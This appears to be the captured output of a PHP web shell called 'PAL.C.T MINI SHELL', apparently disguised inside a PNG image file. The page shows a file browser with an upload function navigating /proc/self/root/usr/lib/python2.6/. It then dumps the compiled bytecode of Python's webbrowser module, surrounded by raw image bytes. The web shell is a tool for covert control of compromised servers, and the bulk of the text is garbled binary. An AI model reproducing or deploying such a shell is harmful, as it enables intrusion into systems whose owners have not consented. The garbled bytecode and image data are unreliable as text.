php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/
upload
files >> //proc/self/root/usr/lib/python2.6/webbrowser.pyc

aRc@s#dZddkZddkZddkZddkZddkZddkZddddddgZdefd	YZ	hZ
gZdd
dZ
ddZd
d
dZdZdZd
dZeid djo
dZn
dZdZdefdYZdefdYZdefdYZdefdYZdefd YZeZd!efd"YZd#efd$YZd%efd&YZd'efd(YZ d)efd*YZ!d+Z"ei#id,oe"nei#id-oed.oe
d.ded.ned/oe
d/ded/ned0oe
d0ded0ned1oe
d1ded1qneid djod2efd3YZ$gZhZ
e
d4e$ei%i&ei#id5d6d7Z'xNd8d9d:d;d<d=e'fD]-Z(ee(oe
e(dee(qBqBWnyddk)Z)Wne*j
on+Xd>efd?YZ+e
d@e+dAdeidBjo3dCefdDYZ,e
dCde,dEdneid dFjo?ed<o2gZhZ
e
dGdedHd<dIgdndJei#joei#dJi-ei.Z/e/i0x\e/D]TZ1e1dKjoAee1dZ2e2d
djoe
e1dee1dqqqWdZ1[1[/ndLZ3e4dMjoe3ndS(Ns?Interfaces for launching and remotely controlling Web browsers.iNtErrortopentopen_newtopen_new_tabtgettregistercBseZRS((t__name__t
__module__(((s /usr/lib/python2.6/webbrowser.pyR
sicCsY||gt|i<|djoti|n"|djotid|ndS(s9Register a browser connector and, optionally, connection.iN(t	_browserstlowert	_tryordertappendtinsert(tnametklasstinstancetupdate_tryorder((s /usr/lib/python2.6/webbrowser.pyRs


cCs|dj	o
|g}nt}x|D]}d|jo=ti|}|ddjot|d St|Sq'yt|i}Wntj
ot	|}nX|ddj	o	|dS|ddj	o|dSq'Wt
ddS(sCReturn a browser launcher instance appropriate for the environment.s%sit&iis!could not locate runnable browserN(tNoneR
tshlextsplittBackgroundBrowsertGenericBrowserRR	tKeyErrort_synthesizeR(tusingtalternativestbrowsertcommand((s /usr/lib/python2.6/webbrowser.pyRs&


	icCs<x5tD]-}t|}|i|||otSqWtS(N(R
RRtTruetFalse(turltnewt	autoraiseR
R((s /usr/lib/python2.6/webbrowser.pyR9s	cCs
t|dS(Ni(R(R((s /usr/lib/python2.6/webbrowser.pyR@scCs
t|dS(Ni(R(R((s /usr/lib/python2.6/webbrowser.pyRCsc	Cs|id}t|pddgStii|}yt|i}Wntj
oddgSX|d}|om|i|ijoWddk	}|i	|}||_
tii||_t|d||d|gSddgS(sAttempt to synthesize a controller base on existing controllers.

    This is useful to create a controller when a user specifies a path to
    an entry in the BROWSER environment variable -- we can copy a general
    controller to operate using a specific installation of the desired
    browser in this way.

    If we can't create a controller in this way, or if there is no
    executable for the requested browser, return [None, None].

    iiiN(Rt
_iscommandRtostpathtbasenameRR	RtcopyR
R(RRtcmdR
Rt
controllerR&((s /usr/lib/python2.6/webbrowser.pyRGs"

	itwincCse|i}tii|o|idotSx*dD]"}tii||otSq;WtS(Ns.exes.bat(s.exes.bat(s.exes.bat(R	R#R$tisfiletendswithRR(R'text((s /usr/lib/python2.6/webbrowser.pyt
_isexecutablehs#	cCs`tii|oIti|ti}|ti@p|ti@p|ti@otSnt	S(N(
R#R$R*tstattST_MODEtS_IXUSRtS_IXGRPtS_IXOTHRR(R'tmode((s /usr/lib/python2.6/webbrowser.pyR-qs
*	cCsxt|otStiid}|ptSxA|itiD]-}tii	||}t|otSqCWtS(sSReturn True if cmd is executable or can be found on the executable
    search path.tPATH(
R-RR#tenvironRRRtpathsepR$tjoin(R'R$tdtexe((s /usr/lib/python2.6/webbrowser.pyR"xs

	tBaseBrowsercBsDeZdZdgZddZdddZdZdZRS(	s3Parent class for all browsers. Do not use directly.s%stcCs||_||_dS(N(R
R%(tselfR
((s /usr/lib/python2.6/webbrowser.pyt__init__s	iicCs
tdS(N(tNotImplementedError(R<RR R!((s /usr/lib/python2.6/webbrowser.pyRscCs|i|dS(Ni(R(R<R((s /usr/lib/python2.6/webbrowser.pyRscCs|i|dS(Ni(R(R<R((s /usr/lib/python2.6/webbrowser.pyRs(RRt__doc__targsR=RRR(((s /usr/lib/python2.6/webbrowser.pyR:s		RcBs&eZdZdZdddZRS(sVClass for all browsers started with a command
       and without remote functionality.cCs_t|to||_dg|_n|d|_|d|_tii|i|_dS(Ns%sii(t
isinstancet
basestringR
R@R#R$R%(R<R
((s /usr/lib/python2.6/webbrowser.pyR=s	

iic
Cs|igg}|iD]}||id|q~}yKtid djoti|}nti|dt}|iSWnt	j
ot
SXdS(Ns%siR)t	close_fds(R
R@treplacetsystplatformt
subprocesstPopenRtwaittOSErrorR(R<RR R!t_[1]targtcmdlinetp((s /usr/lib/python2.6/webbrowser.pyRs*(RRR?R=R(((s /usr/lib/python2.6/webbrowser.pyRs	
RcBseZdZdddZRS(sHClass for all browsers which are to be started in the
       background.iic	Cs|igg}|iD]}||id|q~}ytid djoti|}nKttdd}|pttdd}nti|dt
d|}|idjSWntj
ot
SXdS(Ns%siR)tsetsidtsetpgrpRCt
preexec_fn(R
R@RDRERFRGRHtgetattrR#RRtpollRJR(	R<RR R!RKRLRMRNRO((s /usr/lib/python2.6/webbrowser.pyRs*(RRR?R(((s /usr/lib/python2.6/webbrowser.pyRstUnixBrowsercBsVeZdZdZddgZdZdZdZe	Z
eZdZ
dddZRS(s=Parent class for all Unix browsers with remote functionality.s%actions%scCsg}|oA|io7tt|}|i|}|o
|g}qNn|ig||}|p
|iottid}nd}t	tdd}|pt	tdd}nt
i|dtd|d|i
o|pdd|d|}	|o[tid	|	i}
|
djo/tid
|	i}
|
djotSn|
S|io |	idjotStSn|	iSdS(Nsr+RORPRCtstdintstdouttstderrRQii(t
raise_optstinttboolR
t
backgroundtfileR#tdevnullRRRRGRHRtredirect_stdoutttimetsleepRSRRI(R<R@tremoteR!t	raise_opttoptRMtinoutRORNtrc((s /usr/lib/python2.6/webbrowser.pyt_invokes<




	
iic
Cs#|djo
|i}nf|djo
|i}nL|djo*|idjo
|i}q|i}ntdd|g}|iD]%}||id|id|q~}|i|t|}|pDg}	|i	D]}|	|id|q~	}|i|t
t
StSdS(NiiisBad 'new' parameter to open(); sexpected 0, 1, or 2, got %ss%ss%action(t
remote_actiontremote_action_newwintremote_action_newtabRRtremote_argsRDRfRR@R(
R<RR R!tactionRKRLR@tsuccesst_[2]((s /usr/lib/python2.6/webbrowser.pyRs"






50N(RRR?RRXRjRgRhRiRR[RR^RfR(((s /usr/lib/python2.6/webbrowser.pyRTs	,tMozillacBs>eZdZddgZddgZdZdZdZeZ	RS(s-Launcher class for Mozilla/Netscape browsers.s-noraises-raises-remotesopenURL(%s%action)R;s,new-windows,new-tab(
RRR?RXRjRgRhRiRR[(((s /usr/lib/python2.6/webbrowser.pyRnstGaleoncBs8eZdZddgZddgZdZdZeZRS(s,Launcher class for Galeon/Epiphany browsers.s-noraiseR;s%actions%ss-ns-w(	RRR?RXRjRgRhRR[(((s /usr/lib/python2.6/webbrowser.pyRo*stOperacBs>eZdZddgZddgZdZdZdZeZ	RS(s!Launcher class for Opera browser.R;s-raises-remotesopenURL(%s%action)s,new-windows	,new-page(
RRR?RXRjRgRhRiRR[(((s /usr/lib/python2.6/webbrowser.pyRp5stElinkscBs8eZdZddgZdZdZdZeZeZ	RS(s#Launcher class for Elinks browsers.s-remotesopenURL(%s%action)R;s,new-windows,new-tab(
RRR?RjRgRhRiRR[R^(((s /usr/lib/python2.6/webbrowser.pyRqAst	KonquerorcBseZdZdddZRS(sController for the KDE File Manager (kfm, or Konqueror).

    See the output of ``kfmclient --commands``
    for more information on the Konqueror remote-control interface.
    iicCs|djo
d}nd}ttid}ttdd}|pttdd}ny4tid||gdtd	|d
|d|}Wntj
onX|i	tSy:tidd
|gdtd	|d
|d|d|}Wntj
onX|i
djotSy:tidd|gdtd	|d
|d|d|}Wntj
otSX|i
djSdS(NitnewTabtopenURLsr+RORPt	kfmclientRCRURVRWt	konquerors--silentRQtkfms-d(R\R#R]RRRRGRHRRJRIRSR(R<RR R!RkR]RORN((s /usr/lib/python2.6/webbrowser.pyRVs@




(RRR?R(((s /usr/lib/python2.6/webbrowser.pyRrOstGrailcBs)eZdZdZdddZRS(c
Csddk}ddk}ddk}ddk}tii|id}|iti	d}tii||d}|i|}|pdS|i|i|i}	xc|D][}
y|	i
|
Wn=|ij
o.yti|
Wqtj
oqXqX|	SqWdS(Nis.grail-unixis-*(tglobtpwdtsocketttempfileR#R$R7t
gettempdirtgetpwuidtgetuidRtAF_UNIXtSOCK_STREAMtconnectterrortunlinktIOError(R<RyRzR{R|ttempdirtusertfilenametmaybeststfn((s /usr/lib/python2.6/webbrowser.pyt_find_grail_rcs,	
cCs3|i}|pdS|i||idS(Nii(Rtsendtclose(R<RkR((s /usr/lib/python2.6/webbrowser.pyt_remotes

iicCs5|o|id|}n|id|}|S(NsLOADNEW sLOAD (R(R<RR R!tok((s /usr/lib/python2.6/webbrowser.pyRs(RRRRR(((s /usr/lib/python2.6/webbrowser.pyRxs		c	Csdtijo'tdotddtdndtijo'tdotdttdnx5dD]-}t|ot|dt|ququWtdotdttdn(td
otd
ttd
nx5dD]-}t|ot|dt|qqWtdotddtdntdotddt	dntdotddtdntdotdt
dndS(NtGNOME_DESKTOP_SESSION_IDs
gnome-opentKDE_FULL_SESSIONRusmozilla-firefoxtfirefoxsmozilla-firebirdtfirebirdt	seamonkeytmozillatnetscapeRwRvtgaleontepiphanyt	skipstonetoperatmosaictgrail(smozilla-firefoxRsmozilla-firebirdRRRR(RR(R#R5R"RRRRrRnRoRpRx(R((s /usr/lib/python2.6/webbrowser.pytregister_X_browserss4







tDISPLAYtTERMtlinkstelinkstlynxtw3mtWindowsDefaultcBseZdddZRS(iicCs0yti|Wntj
otSXtSdS(N(R#t	startfiletWindowsErrorRR(R<RR R!((s /usr/lib/python2.6/webbrowser.pyRs
(RRR(((s /usr/lib/python2.6/webbrowser.pyRsswindows-defaulttPROGRAMFILESsC:\Program FilessInternet Explorer\IEXPLORE.EXERRRRRRtInternetConfigcBseZdddZRS(iicCsti|tS(N(tict	launchurlR(R<RR R!((s /usr/lib/python2.6/webbrowser.pyR#s
(RRR(((s /usr/lib/python2.6/webbrowser.pyR"ssinternet-configRtdarwintMacOSXcBs&eZdZdZdddZRS(s{Launcher class for Aqua browsers on Mac OS X

        Optionally specify a browser name on instantiation.  Note that this
        will not work for Aqua browsers if the user has moved the application
        package after installation.

        If no browser is specified, the default browser, as specified in the
        Internet System Preferences panel, will be used.
        cCs
||_dS(N(R
(R<R
((s /usr/lib/python2.6/webbrowser.pyR=5siic	Csd|jptd|jod|}ntt|}|idjod|idd}nU|idjo
d	}nd
|d}d|idd}d
|i||f}tidd}|djotS|i	||i
}|S(Nt't:sfile:tdefaultsopen location "%s"t"s%22tOmniWebR;stoWindow %disOpenURL "%s"stell application "%s"
                                activate
                                %s %s
                            end tellt	osascripttw(tAssertionErrorRYRZR
RDR#tpopenRRtwriteR(	R<RR R!tscriptttoWindowR'tosapipeRe((s /usr/lib/python2.6/webbrowser.pyR8s"



(RRR?R=R(((s /usr/lib/python2.6/webbrowser.pyR+s		Rtos2tos2netscapetstarts%stBROWSERR;c	
Csddk}dtid}y#|itidd\}}Wn?|ij
o0}ti|IJti|IJtidnXd}xB|D]:\}}|djo
d}q|djo
d}qqWt|djoti|IJtidn|d}t||d	GHdS(
NisDUsage: %s [-n | -t] url
    -n: open new window
    -t: open new tabiitntds-ns-tis(tgetoptREtargvRRWtexittlenR(	RtusagetoptsR@tmsgtnew_wintotaR((s /usr/lib/python2.6/webbrowser.pytmain}s*#







t__main__(5R?R#RRER.RGR_t__all__t	ExceptionRRR
RRRRRRRRFR-R"tobjectR:RRRTRntNetscapeRoRpRqRrRxRR5RR$R7tiexploreRRtImportErrorRRRR6t_userchoicestreverseRMR'RR(((s /usr/lib/python2.6/webbrowser.pyt<module>s		 
			P95	-




	

"0!	

%	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`